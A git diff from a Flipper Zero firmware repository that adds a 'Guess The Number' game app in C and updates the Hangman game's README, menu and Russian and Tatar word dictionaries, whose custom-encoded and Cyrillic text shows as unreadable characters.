variable_item_set_current_value_text(item, led_text[index]); + app->led = led_value[index]; +} + +static void boilerplate_scene_settings_set_save_settings(VariableItem* item) { + Boilerplate* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, settings_text[index]); + app->save_settings = settings_value[index]; +} + +void boilerplate_scene_settings_submenu_callback(void* context, uint32_t index) { + Boilerplate* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +void boilerplate_scene_settings_on_enter(void* context) { + Boilerplate* app = context; + VariableItem* item; + uint8_t value_index; + + // Vibro on/off + item = variable_item_list_add( + app->variable_item_list, "Vibro/Haptic:", 2, boilerplate_scene_settings_set_haptic, app); + value_index = value_index_uint32(app->haptic, haptic_value, 2); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, haptic_text[value_index]); + + // Sound on/off + item = variable_item_list_add( + app->variable_item_list, "Sound:", 2, boilerplate_scene_settings_set_speaker, app); + value_index = value_index_uint32(app->speaker, speaker_value, 2); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, speaker_text[value_index]); + + // LED Effects on/off + item = variable_item_list_add( + app->variable_item_list, "LED FX:", 2, boilerplate_scene_settings_set_led, app); + value_index = value_index_uint32(app->led, led_value, 2); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, led_text[value_index]); + + // Save Settings to File + item = variable_item_list_add( + app->variable_item_list, + "Save Settings", + 2, + boilerplate_scene_settings_set_save_settings, + app); + value_index = value_index_uint32(app->save_settings, settings_value, 2); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, settings_text[value_index]); + + view_dispatcher_switch_to_view(app->view_dispatcher, BoilerplateViewIdSettings); +} + +bool boilerplate_scene_settings_on_event(void* context, SceneManagerEvent event) { + Boilerplate* app = context; + UNUSED(app); + bool consumed = false; + if(event.type == SceneManagerEventTypeCustom) { + } + return consumed; +} + +void boilerplate_scene_settings_on_exit(void* context) { + Boilerplate* app = context; + variable_item_list_set_selected_item(app->variable_item_list, 0); + variable_item_list_reset(app->variable_item_list); +} \ No newline at end of file diff --git a/applications/external/guess_the_number/scenes/boilerplate_scene_startscreen.c b/applications/external/guess_the_number/scenes/boilerplate_scene_startscreen.c new file mode 100644 index 00000000000..4d1898f5333 --- /dev/null +++ b/applications/external/guess_the_number/scenes/boilerplate_scene_startscreen.c @@ -0,0 +1,55 @@ +#include "../boilerplate.h" +#include "../helpers/boilerplate_custom_event.h" +#include "../views/boilerplate_startscreen.h" + +void boilerplate_scene_startscreen_callback(BoilerplateCustomEvent event, void* context) { + furi_assert(context); + Boilerplate* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, event); +} + +void boilerplate_scene_startscreen_on_enter(void* context) { + furi_assert(context); + Boilerplate* app = context; + boilerplate_startscreen_set_callback( + app->boilerplate_startscreen, boilerplate_scene_startscreen_callback, app); + view_dispatcher_switch_to_view(app->view_dispatcher, BoilerplateViewIdStartscreen); +} + +bool boilerplate_scene_startscreen_on_event(void* context, SceneManagerEvent event) { + Boilerplate* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + switch(event.event) { + case BoilerplateCustomEventStartscreenLeft: + case BoilerplateCustomEventStartscreenRight: + break; + case BoilerplateCustomEventStartscreenUp: + case BoilerplateCustomEventStartscreenDown: + break; + case BoilerplateCustomEventStartscreenOk: + scene_manager_next_scene(app->scene_manager, BoilerplateSceneMenu); + consumed = true; + break; + case BoilerplateCustomEventStartscreenBack: + notification_message(app->notification, &sequence_reset_red); + notification_message(app->notification, &sequence_reset_green); + notification_message(app->notification, &sequence_reset_blue); + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, BoilerplateSceneStartscreen)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } + consumed = true; + break; + } + } + + return consumed; +} + +void boilerplate_scene_startscreen_on_exit(void* context) { + Boilerplate* app = context; + UNUSED(app); +} \ No newline at end of file diff --git a/applications/external/guess_the_number/views/boilerplate_scene_1.c b/applications/external/guess_the_number/views/boilerplate_scene_1.c new file mode 100644 index 00000000000..87736f9303c --- /dev/null +++ b/applications/external/guess_the_number/views/boilerplate_scene_1.c @@ -0,0 +1,121 @@ +#include "../boilerplate.h" +#include +#include +#include +#include +#include + +struct BoilerplateScene1 { + View* view; + BoilerplateScene1Callback callback; + void* context; +}; + +typedef struct { + int some_value; +} BoilerplateScene1Model; + +void boilerplate_scene_1_set_callback( + BoilerplateScene1* instance, + BoilerplateScene1Callback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + instance->callback = callback; + instance->context = context; +} + +void boilerplate_scene_1_draw(Canvas* canvas, BoilerplateScene1Model* model) { + UNUSED(model); + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 0, 8, AlignLeft, AlignTop, "Instructions:"); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 0, 22, AlignLeft, AlignTop, "Ok - Check guess"); + canvas_draw_str_aligned(canvas, 0, 32, AlignLeft, AlignTop, "Up/Down - Adjust guess"); + canvas_draw_str_aligned(canvas, 0, 42, AlignLeft, AlignTop, "Left/Right - Large adjust"); + canvas_draw_str_aligned(canvas, 0, 52, AlignLeft, AlignTop, "Back - Tap: Reset, Hold: Exit"); +} + +static void boilerplate_scene_1_model_init(BoilerplateScene1Model* const model) { + model->some_value = 1; +} + +bool boilerplate_scene_1_input(InputEvent* event, void* context) { + furi_assert(context); + BoilerplateScene1* instance = context; + if(event->type == InputTypeRelease) { + switch(event->key) { + case InputKeyBack: + with_view_model( + instance->view, + BoilerplateScene1Model * model, + { + UNUSED(model); + instance->callback(BoilerplateCustomEventScene1Back, instance->context); + }, + true); + break; + case InputKeyLeft: + case InputKeyRight: + case InputKeyUp: + case InputKeyDown: + case InputKeyOk: + with_view_model( + instance->view, BoilerplateScene1Model * model, { UNUSED(model); }, true); + break; + case InputKeyMAX: + break; + } + } + return true; +} + +void boilerplate_scene_1_exit(void* context) { + furi_assert(context); +} + +void boilerplate_scene_1_enter(void* context) { + furi_assert(context); + BoilerplateScene1* instance = (BoilerplateScene1*)context; + with_view_model( + instance->view, + BoilerplateScene1Model * model, + { boilerplate_scene_1_model_init(model); }, + true); +} + +BoilerplateScene1* boilerplate_scene_1_alloc() { + BoilerplateScene1* instance = malloc(sizeof(BoilerplateScene1)); + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(BoilerplateScene1Model)); + view_set_context(instance->view, instance); // furi_assert crashes in events without this + view_set_draw_callback(instance->view, (ViewDrawCallback)boilerplate_scene_1_draw); + view_set_input_callback(instance->view, boilerplate_scene_1_input); + view_set_enter_callback(instance->view, boilerplate_scene_1_enter); + view_set_exit_callback(instance->view, boilerplate_scene_1_exit); + + with_view_model( + instance->view, + BoilerplateScene1Model * model, + { boilerplate_scene_1_model_init(model); }, + true); + + return instance; +} + +void boilerplate_scene_1_free(BoilerplateScene1* instance) { + furi_assert(instance); + + with_view_model( + instance->view, BoilerplateScene1Model * model, { UNUSED(model); }, true); + view_free(instance->view); + free(instance); +} + +View* boilerplate_scene_1_get_view(BoilerplateScene1* instance) { + furi_assert(instance); + return instance->view; +} \ No newline at end of file diff --git a/applications/external/guess_the_number/views/boilerplate_scene_1.h b/applications/external/guess_the_number/views/boilerplate_scene_1.h new file mode 100644 index 00000000000..08bc60fccd3 --- /dev/null +++ b/applications/external/guess_the_number/views/boilerplate_scene_1.h @@ -0,0 +1,19 @@ +#pragma once + +#include +#include "../helpers/boilerplate_custom_event.h" + +typedef struct BoilerplateScene1 BoilerplateScene1; + +typedef void (*BoilerplateScene1Callback)(BoilerplateCustomEvent event, void* context); + +void boilerplate_scene_1_set_callback( + BoilerplateScene1* boilerplate_scene_1, + BoilerplateScene1Callback callback, + void* context); + +View* boilerplate_scene_1_get_view(BoilerplateScene1* boilerplate_static); + +BoilerplateScene1* boilerplate_scene_1_alloc(); + +void boilerplate_scene_1_free(BoilerplateScene1* boilerplate_static); \ No newline at end of file diff --git a/applications/external/guess_the_number/views/boilerplate_scene_2.c b/applications/external/guess_the_number/views/boilerplate_scene_2.c new file mode 100644 index 00000000000..7ebc0e4555b --- /dev/null +++ b/applications/external/guess_the_number/views/boilerplate_scene_2.c @@ -0,0 +1,222 @@ +#include "../boilerplate.h" +#include +#include +#include +#include +#include +#include +#include "../helpers/boilerplate_haptic.h" +#include "../helpers/boilerplate_speaker.h" +#include "../helpers/boilerplate_led.h" + +struct BoilerplateScene2 { + View* view; + BoilerplateScene2Callback callback; + void* context; +}; + +typedef struct { + char* buffer; + int target_number, player_guess; + char game_message[50]; +} BoilerplateScene2Model; + +void boilerplate_scene_2_set_callback( + BoilerplateScene2* instance, + BoilerplateScene2Callback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + instance->callback = callback; + instance->context = context; +} + +void boilerplate_scene_2_draw(Canvas* canvas, BoilerplateScene2Model* model) { + canvas_clear(canvas); + + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 0, 10, AlignLeft, AlignTop, "Guess The Number!"); + + // Draw the player guess + canvas_set_font(canvas, FontSecondary); + char guessBuffer[50]; + snprintf(guessBuffer, sizeof(guessBuffer), "Your Guess: %d", model->player_guess); + canvas_draw_str_aligned(canvas, 0, 30, AlignLeft, AlignTop, guessBuffer); + + // Draw the game message + canvas_set_font(canvas, FontScummRoman); + canvas_draw_str_aligned(canvas, 0, 50, AlignLeft, AlignTop, model->game_message); +} + +static void boilerplate_scene_2_model_init(BoilerplateScene2Model* const model) { + // Set the target number to a random number between 0 and 100 + model->target_number = furi_hal_random_get() % 100; + model->player_guess = 50; + strcpy(model->game_message, ""); + dolphin_deed(DolphinDeedPluginGameStart); +} + +bool boilerplate_scene_2_input(InputEvent* event, void* context) { + furi_assert(context); + BoilerplateScene2* instance = context; + + if(event->type == InputTypeLong && event->key == InputKeyBack) { + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + UNUSED(model); + instance->callback(BoilerplateCustomEventScene2Back, instance->context); + boilerplate_play_long_bump(instance->context); + boilerplate_led_set_rgb(instance->context, 255, 0, 0); + }, + true); + return true; + } + + if(event->type == InputTypeShort && event->key == InputKeyBack) { + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + // Reset the game + strcpy(model->game_message, "Resetting..."); + boilerplate_scene_2_model_init(model); + boilerplate_play_long_bump(instance->context); + boilerplate_led_set_rgb(instance->context, 0, 0, 255); + }, + true); + return true; + } + + if(event->type == InputTypePress) { + switch(event->key) { + case InputKeyUp: + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + // Add 1 to the player guess or reset to 0 if it's 99 + model->player_guess = model->player_guess < 99 ? model->player_guess + 1 : 0; + boilerplate_play_button_press(instance->context); + }, + true); + break; + case InputKeyDown: + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + // Subtract 1 from the player guess or set to 99 if it's 0 + model->player_guess = model->player_guess > 0 ? model->player_guess - 1 : 99; + boilerplate_play_button_press(instance->context); + }, + true); + break; + case InputKeyLeft: + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + // Subtract 10 from the player guess, if it's under 0, set it to 99 + model->player_guess = model->player_guess > 10 ? model->player_guess - 10 : 99; + boilerplate_play_short_bump(instance->context); + }, + true); + break; + case InputKeyRight: + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + // Add 10 to the player guess, if it's over 99, set it to 0 + model->player_guess = model->player_guess < 90 ? model->player_guess + 10 : 0; + boilerplate_play_short_bump(instance->context); + }, + true); + break; + case InputKeyOk: + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { + // Process the guess + if(model->target_number == model->player_guess) { + strcpy(model->game_message, "You win!"); + boilerplate_play_win_sound(instance->context); + boilerplate_led_set_rgb(instance->context, 0, 255, 0); + dolphin_deed(DolphinDeedPluginGameWin); + } else { + strcpy( + model->game_message, + model->target_number > model->player_guess ? "Too low!" : "Too high!"); + boilerplate_led_set_rgb(instance->context, 255, 0, 0); + } + boilerplate_play_button_press(instance->context); + }, + true); + break; + case InputKeyBack: + break; + case InputKeyMAX: + break; + } + } else if(event->type == InputTypeRelease) { + switch(event->key) { + case InputKeyUp: + case InputKeyDown: + case InputKeyLeft: + case InputKeyRight: + case InputKeyOk: + case InputKeyBack: + case InputKeyMAX: + boilerplate_play_input_sound(instance->context); + boilerplate_led_set_rgb(instance->context, 0, 0, 0); + boilerplate_stop_all_sound(instance->context); + break; + } + } + + return true; +} + +void boilerplate_scene_2_exit(void* context) { + furi_assert(context); + Boilerplate* app = context; + boilerplate_stop_all_sound(app); +} + +void boilerplate_scene_2_enter(void* context) { + furi_assert(context); + dolphin_deed(DolphinDeedPluginStart); +} + +BoilerplateScene2* boilerplate_scene_2_alloc() { + BoilerplateScene2* instance = malloc(sizeof(BoilerplateScene2)); + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(BoilerplateScene2Model)); + view_set_context(instance->view, instance); + view_set_draw_callback(instance->view, (ViewDrawCallback)boilerplate_scene_2_draw); + view_set_input_callback(instance->view, boilerplate_scene_2_input); + view_set_exit_callback(instance->view, boilerplate_scene_2_exit); + + with_view_model( + instance->view, + BoilerplateScene2Model * model, + { boilerplate_scene_2_model_init(model); }, + true); + + return instance; +} + +void boilerplate_scene_2_free(BoilerplateScene2* instance) { + furi_assert(instance); + view_free(instance->view); + free(instance); +} + +View* boilerplate_scene_2_get_view(BoilerplateScene2* instance) { + furi_assert(instance); + return instance->view; +} \ No newline at end of file diff --git a/applications/external/guess_the_number/views/boilerplate_scene_2.h b/applications/external/guess_the_number/views/boilerplate_scene_2.h new file mode 100644 index 00000000000..16347a720c0 --- /dev/null +++ b/applications/external/guess_the_number/views/boilerplate_scene_2.h @@ -0,0 +1,19 @@ +#pragma once + +#include +#include "../helpers/boilerplate_custom_event.h" + +typedef struct BoilerplateScene2 BoilerplateScene2; + +typedef void (*BoilerplateScene2Callback)(BoilerplateCustomEvent event, void* context); + +void boilerplate_scene_2_set_callback( + BoilerplateScene2* instance, + BoilerplateScene2Callback callback, + void* context); + +BoilerplateScene2* boilerplate_scene_2_alloc(); + +void boilerplate_scene_2_free(BoilerplateScene2* boilerplate_static); + +View* boilerplate_scene_2_get_view(BoilerplateScene2* boilerpate_static); diff --git a/applications/external/guess_the_number/views/boilerplate_startscreen.c b/applications/external/guess_the_number/views/boilerplate_startscreen.c new file mode 100644 index 00000000000..a6e9aacdb5c --- /dev/null +++ b/applications/external/guess_the_number/views/boilerplate_startscreen.c @@ -0,0 +1,124 @@ +#include "../boilerplate.h" +#include +#include +#include +#include + +struct BoilerplateStartscreen { + View* view; + BoilerplateStartscreenCallback callback; + void* context; +}; + +typedef struct { + int some_value; +} BoilerplateStartscreenModel; + +void boilerplate_startscreen_set_callback( + BoilerplateStartscreen* instance, + BoilerplateStartscreenCallback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + instance->callback = callback; + instance->context = context; +} + +void boilerplate_startscreen_draw(Canvas* canvas, BoilerplateStartscreenModel* model) { + UNUSED(model); + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignTop, "Guess The Number"); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignTop, "Guess the correct"); + canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, "number to win!"); + elements_button_center(canvas, "Play!"); +} + +static void boilerplate_startscreen_model_init(BoilerplateStartscreenModel* const model) { + model->some_value = 1; +} + +bool boilerplate_startscreen_input(InputEvent* event, void* context) { + furi_assert(context); + BoilerplateStartscreen* instance = context; + if(event->type == InputTypeRelease) { + switch(event->key) { + case InputKeyBack: + with_view_model( + instance->view, + BoilerplateStartscreenModel * model, + { + UNUSED(model); + instance->callback(BoilerplateCustomEventStartscreenBack, instance->context); + }, + true); + break; + case InputKeyLeft: + case InputKeyRight: + case InputKeyUp: + case InputKeyDown: + case InputKeyOk: + with_view_model( + instance->view, + BoilerplateStartscreenModel * model, + { + UNUSED(model); + instance->callback(BoilerplateCustomEventStartscreenOk, instance->context); + }, + true); + break; + case InputKeyMAX: + break; + } + } + return true; +} + +void boilerplate_startscreen_exit(void* context) { + furi_assert(context); +} + +void boilerplate_startscreen_enter(void* context) { + furi_assert(context); + BoilerplateStartscreen* instance = (BoilerplateStartscreen*)context; + with_view_model( + instance->view, + BoilerplateStartscreenModel * model, + { boilerplate_startscreen_model_init(model); }, + true); +} + +BoilerplateStartscreen* boilerplate_startscreen_alloc() { + BoilerplateStartscreen* instance = malloc(sizeof(BoilerplateStartscreen)); + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(BoilerplateStartscreenModel)); + view_set_context(instance->view, instance); // furi_assert crashes in events without this + view_set_draw_callback(instance->view, (ViewDrawCallback)boilerplate_startscreen_draw); + view_set_input_callback(instance->view, boilerplate_startscreen_input); + //view_set_enter_callback(instance->view, boilerplate_startscreen_enter); + //view_set_exit_callback(instance->view, boilerplate_startscreen_exit); + + with_view_model( + instance->view, + BoilerplateStartscreenModel * model, + { boilerplate_startscreen_model_init(model); }, + true); + + return instance; +} + +void boilerplate_startscreen_free(BoilerplateStartscreen* instance) { + furi_assert(instance); + + with_view_model( + instance->view, BoilerplateStartscreenModel * model, { UNUSED(model); }, true); + view_free(instance->view); + free(instance); +} + +View* boilerplate_startscreen_get_view(BoilerplateStartscreen* instance) { + furi_assert(instance); + return instance->view; +} diff --git a/applications/external/guess_the_number/views/boilerplate_startscreen.h b/applications/external/guess_the_number/views/boilerplate_startscreen.h new file mode 100644 index 00000000000..19d4257451b --- /dev/null +++ b/applications/external/guess_the_number/views/boilerplate_startscreen.h @@ -0,0 +1,19 @@ +#pragma once + +#include +#include "../helpers/boilerplate_custom_event.h" + +typedef struct BoilerplateStartscreen BoilerplateStartscreen; + +typedef void (*BoilerplateStartscreenCallback)(BoilerplateCustomEvent event, void* context); + +void boilerplate_startscreen_set_callback( + BoilerplateStartscreen* boilerplate_startscreen, + BoilerplateStartscreenCallback callback, + void* context); + +View* boilerplate_startscreen_get_view(BoilerplateStartscreen* boilerplate_static); + +BoilerplateStartscreen* boilerplate_startscreen_alloc(); + +void boilerplate_startscreen_free(BoilerplateStartscreen* boilerplate_static); \ No newline at end of file diff --git a/applications/external/hangman/README.md b/applications/external/hangman/README.md index b3cc927de79..9e8d29bdce1 100644 --- a/applications/external/hangman/README.md +++ b/applications/external/hangman/README.md @@ -1,12 +1,26 @@ -# The game "Gallows" ("Balda") -The first Russian-language program for Flipper Zero. +# Игра «ВиÑелица» («Балда») +ÐŸÐµÑ€Ð²Ð°Ñ Ñ€ÑƒÑÑкоÑÐ·Ñ‹Ñ‡Ð½Ð°Ñ Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð° Ð´Ð»Ñ Flipper Zero. -The rules are very simple – "Flipper" guesses a word, you have to guess it by choosing letters. If a letter occurs, it will be drawn at that position or positions, where it occurs in the word, if not, then part of the "gallows" will be drawn. If the "gallows" is drawn in full, you lose, if you guess the word earlier, you win. +Правила очень проÑÑ‚Ñ‹ — «Флиппер» загадывает Ñлово, вам надо его отгадать, Ð²Ñ‹Ð±Ð¸Ñ€Ð°Ñ Ð±ÑƒÐºÐ²Ñ‹. ЕÑли буква вÑтречаетÑÑ, она будет нариÑована на той позиции или позициÑÑ…, +где она вÑтречаетÑÑ Ð² Ñлове, еÑли нет, то будет нариÑована чаÑÑ‚ÑŒ «виÑелицы». ЕÑли «виÑелица» нариÑуетÑÑ Ð¿Ð¾Ð»Ð½Ð¾Ñтью, вы проиграете, еÑли угадаете Ñлово раньше, выиграете. + +Ð’ данный момент игра позволÑет выбрать поÑле Ñтарта один из четырёх Ñловарей: английÑкий, иÑпанÑкий, руÑÑкий и татарÑкий. ![По-руÑÑки](https://github.com/bolknote/Flipper-Zero-Hangman-Game/assets/392509/a95ea4a0-d9b3-421d-bc0a-eabe00a6c6ff) ![По-английÑки](https://github.com/bolknote/Flipper-Zero-Hangman-Game/assets/392509/7c33ba65-9e0f-42a4-92bd-b3801c03aef4) +* ПрограммиÑÑ‚: Евгений Степанищев (@bolknote) +* ИллюÑтратор: Ева Степанищева (7 лет) +* За Ñловарь татарÑких Ñлов большое ÑпаÑибо ИнÑтитуту прикладной Ñемиотики ÐРРТ + +=========================================================================================================================================== + +# The game "Gallows" ("Balda") +The first Russian-language program for Flipper Zero. + +The rules are very simple – "Flipper" guesses a word, you have to guess it by choosing letters. If a letter occurs, it will be drawn at that position or positions, where it occurs in the word, if not, then part of the "gallows" will be drawn. If the "gallows" is drawn in full, you lose, if you guess the word earlier, you win. + * Programmer: Evgeny Stepanischev (@bolknote) * Illustrator: Eva Stepanischeva (7 years) -* README, DIALOG and BUTTONS UPDATED TO ENGLISH, HANGMAN IMAGE COLOR FIXED & ANIME DICTIONARY (By RogueMaster) +* README, DIALOG and BUTTONS UPDATED TO ENGLISH, HANGMAN IMAGE COLOR FIXED & ANIME DICTIONARY (By RogueMaster) \ No newline at end of file diff --git a/applications/external/hangman/catalog/0.png b/applications/external/hangman/catalog/0.png index 44d6dbda8cb..5964b64c982 100644 Binary files a/applications/external/hangman/catalog/0.png and b/applications/external/hangman/catalog/0.png differ diff --git a/applications/external/hangman/files/menu.txt b/applications/external/hangman/files/menu.txt index f06aa415b56..4a5c3830392 100644 --- a/applications/external/hangman/files/menu.txt +++ b/applications/external/hangman/files/menu.txt @@ -2,7 +2,9 @@ Anime anime.bolk English english.bolk +Español +spanish.bolk РуÑÑкий russian.bolk -Español -spanish.bolk \ No newline at end of file +Татар теле +tatar.bolk \ No newline at end of file diff --git a/applications/external/hangman/files/russian.dict b/applications/external/hangman/files/russian.dict index 6f880090ce1..824a5feda80 100644 --- a/applications/external/hangman/files/russian.dict +++ b/applications/external/hangman/files/russian.dict @@ -22,10 +22,10 @@ " !" "   -,."" +*.""  " " -" +" !  /  # @@ -39,7 +39,7 @@ " , $"  - ! + ! !   @@ -52,7 +52,7 @@ "/  !" $ -!"+ +!"+  "  #  #" @@ -88,7 +88,7 @@ #& $( $  -% + % -   -  "  @@ -278,7 +278,7 @@  !"    % -!"/ +!"/ !# !"     @@ -319,7 +319,7 @@   "  - + / "  @@ -665,7 +665,7 @@  !  !"  " - ! + !  ,  ,  !", @@ -1213,7 +1213,7 @@       !" - !", + !",  &  '  '! @@ -1355,9 +1355,9 @@ #, #  #, - #& + #& #!" - #/ + #/" #, # + @@ -1371,7 +1371,7 @@ !& ! !/ -!!$ +!!$ ! !" ! @@ -1880,7 +1880,7 @@ $./ (!! ($ (" -(  +(  (" (" ( diff --git a/applications/external/hangman/files/tatar.bolk b/applications/external/hangman/files/tatar.bolk new file mode 100644 index 00000000000..ee78e3fc852 --- /dev/null +++ b/applications/external/hangman/files/tatar.bolk @@ -0,0 +1,8 @@ +tatar.dict +10 +3 ++400 +410 4d8 411 412 413 414 415 416 496 417 418 419 41a 41b 41c 41d 4a2 41e 4e8 41f 420 421 422 423 4ae 424 425 4ba 426 427 428 429 42a 42b 42c 42d 42e 42f +Яхшы +Сез оттыгыз! +Сез оттырдыгыз! \ No newline at end of file diff --git a/applications/external/hangman/files/tatar.dict b/applications/external/hangman/files/tatar.dict new file mode 100644 index 00000000000..5f0de325046 --- /dev/null +++ b/applications/external/hangman/files/tatar.dict @@ -0,0 +1,1430 @@ ++ ++!" +( +++ ++( +"+ +(+ + +" + + ++ +! Ø +"+ +'Ø'Ø +#" +!"+ ++' ++' +'+ +" +è +!+ +' ++" +( +"" +"" +"è Ø ++ + ( + + + +! + +(( +!'+ +! #'+ +!+"( +" +"' +"è +"' +'Ø % +(+ +¢" +ºØ¢Ø( + +!+ + +Ø +#  ++ + +' +"Ø + ++ + ++ + +" +"+  +( +( +( " +º +Ø +Ø!Ø + +Ø'Ø +! +$  +ØØ ++ + + + +' +# +#+('+ +#  +#+"+ +®'Ø +® ØØ +Ø*  +Ø +ØØØ' +Ø ( +Ø Ø¢ +èØ +è" Ø ++ +  +!+/", +Ø" +ØØ" +ØØ" + +Ø" +  +++ + +Ø" + !" +"+ ( +#+ ++ Ø ++ Ø" ++Ø" ++Ø ++ ++ $ ++!*/ ++$ " ++$$Ø" +® !" +Ø ØØ +èØ/ +èØØ +è!" +è–ØØ +è / +è " +è –Ø +è ØØ +++ +Ø +Ø +# ' +®(Ø +Ø*" +Ø+ +ØØ" +'+ ++ + +*/ +  + # " +Ø +# +,Ø" ++/( +Ø¢Ø + + +º/" +! +Ø +ØØ +"! +"$" +"% + Ø®Ø + "ØØ + "Ø +!Ø Ø +! +!"% +!"! +!"Ø +!Ø +"", +""$ +"' +%" +%"$ +%"  +%"  +%"+ +–""( +–"º" ++"+ ++  ++' +è(+ +è "' +%Ø" ++  +++ ++Ø ++' +' + + +" +! +" +++' +++ +" ++ + +, + +" +Ø$ + +  + ( + º + " + + + +( +  + " +  + ( + ( + ® + ® + "+ +  + "#" + ' + '+ + "' + '+ + +" +!+Ø +" +"+ + +( +ººØ +ØØ +Ø' +Ø('Ø +/ + Ø( +( +Ø + ' + Ø +Ø' + ØØ" + Ø®Ø +!Ø'Ø +!Ø"Ø +¢Ø(Ø ++ ++ +! +' +  +'# + "+' + + + ++ +# +# +## # +# +# +# !"( +#(" +#(+ +#(+" +#(+' +#/'+ ++( ++ '+ ++ +++ ++"ØØ +++' ++ Ø" ++!Ø" +++ ++  ++ / ++ #'+ ++ ++ ++"+ +/ %Ø +®ØØ +®Ø  +®ØØ +®Ø"Ø +®( +®Ø "Ø +®"Ø Ø +Ø!"Ø +Ø$/" +Ø–Ø +ØØ®( +ØØ" +ØØ +Ø" +Ø Ø" +Ø (Ø +Ø ØØ" +Ø!" ® +Ø!"ØØ +Ø( +Ø($/" +Ø(ØØ +èØ +è(Ø +è Ø +è–ØØ +è®Ø + +"+ +Ø*Ø" +Ø+, +# +  +"+ +" +%" +!Ø +* +Ø®(Ø +!+ + +– + +! +!$ +#"+ +#' +#' ++ ++' +Ø $ +Ø*Ø +Ø*  +Ø Ø!Ø +Ø%Ø +ØØ –Ø +Ø "ØØ +Ø %®Ø +Ø!%Ø Ø +Ø!,ØØ +Ø%®Ø +Ø%ØØ +Ø( * +Ø–# +èØ ' +èØ–Ø" +è!$ +èØØ! + !+ + Ø +*Ø" +! +++" +Ø*Ø" +ØØ" +Ø Ø" +Ø$Ø" +Ø( /" +"+' ++'+ +"+  +'++ +' + +(º +"( +( + Ø +®Ø"Ø +®'Ø +Ø Ø +Ø ØØ' +Ø Ø–Ø + !. + ! + /", + + + Ø(Ø"Ø +!! +! +!+ +!+( +! +!$!" +!  +!ØØ +!Ø"Ø +!(Ø +! " +!#' +!#" +!#®Ø +!#+('+ +!# +!# '+ +!#+ +' +!#+"+' +!+++ +!+ '+ +!+(+ +!++' +!+" +!+ +"+ +!ØØ" +!Ø", +!Ø Ø +!Ø%"/ +!è +!è"Ø +!èØ(® +!è " +!è "' +"' +"' +"  +" +"" +" %'+ +" "+' +"" ' +"( +"( +"/'+ +"/+' +"Ø +"ØØ +"( +"#  +"# '+ +" "( +" +( +"# +"#++ +"#+ +"# +"# +' +"#" +"++( +"®Ø"Ø +"®" +"®Ø Ø +"®"Ø Ø +"Ø Ø +"Ø* +"ØØ Ø +"Ø* +"Ø* +"Ø*! +"ØØ +"ØØØ +"ØØ$! +"Ø % +"Ø –Ø +"Ø– Ø +"Ø®$+ +"غ Ø" +"è' +"è ' +"èØ +"èØ"Ø +"è  +"è +"è"Ø' +"è('Ø +#+'+ +#+ / +#+ " +# ( +# ++ +#"+ +' +#"+ ( +$Ø +$ ! +$ +$ ! +$Ø!Ø$Ø +$Ø ("Ø +$Ø!%Ø" +%Ø +%Ø +%"+( +%!!/" +% $" +%Ø ØØ" +%Ø(Ø Ø" +%è®Ø" +%è /" +%è Ø!Ø +'' +'+(+ +'+ +'" +'ØØ +'#'+ +'# "( +'++ + +'+ +'++"+ +'++ +'+ ' +'® ØØ +'ØØØ +'ØØØ +'Ø%Ø +'Ø®(Ø +'Ø' +'ØØ(Ø +'è/ +(+ , +(+ Ø +( +( +( +(  +( "/ +(" – +(ºØ +((ØØ( +(/", +( +(# +(++ +(Ø* +(Ø$", +(Ø$"# +(Ø%!/" +(è  ++( ++ #( ++ #+ +-Ø' +-" +- ØØ( +- ' +-!Ø/ +-!Ø–Ø +-!Ø" +-"Ø ' +-' +-'"Ø +-( +-(ØØ +-(ØØ +. +! +.! +.('+ +/( +/++ +/(Ø +/"# +/+ +/ "# +/  +/ Ø' +/ " +/ Ø +/ +'® +/ +( +/" +/(( +/(®! +–Ø +–ØØ +–/", +–"/" +–"Ø' +–¢Ø' +–++"+ +–+"+ +–+ '+ +–Ø  +® Ø +®" +®'Ø' +®'Ø +® Ø®' +® ØØ' +®" ' +º+ +ºØØ" +ºØØ!Ø +Ø ØØ +Ø! +ØØ/" +Ø Ø +Ø$!# +غØ/" +è("Ø( +è" +è!  +è!# +è(Ø' +# +& +" ( + '  +#+' +++ + ++( ++"+' +# ( +!+  +'  +*/+' + + + + " + ""+ +!  +" +$ + +(+ +(*/#+ +- ' +¢!++ ++ ! + +Ø"'Ø +" Ø + +(+ + ' +!"+ + +(!Ø + + Ø + Ø + "Ø + Ø(Ø + !è + Ø +" ' +Ø' ++ + ++ + +'+ +#+(+ +#(# +®" +®ØØ( +®"  +®"ØØ +ØØ%" +ØØ' +ØØ' +Ø% 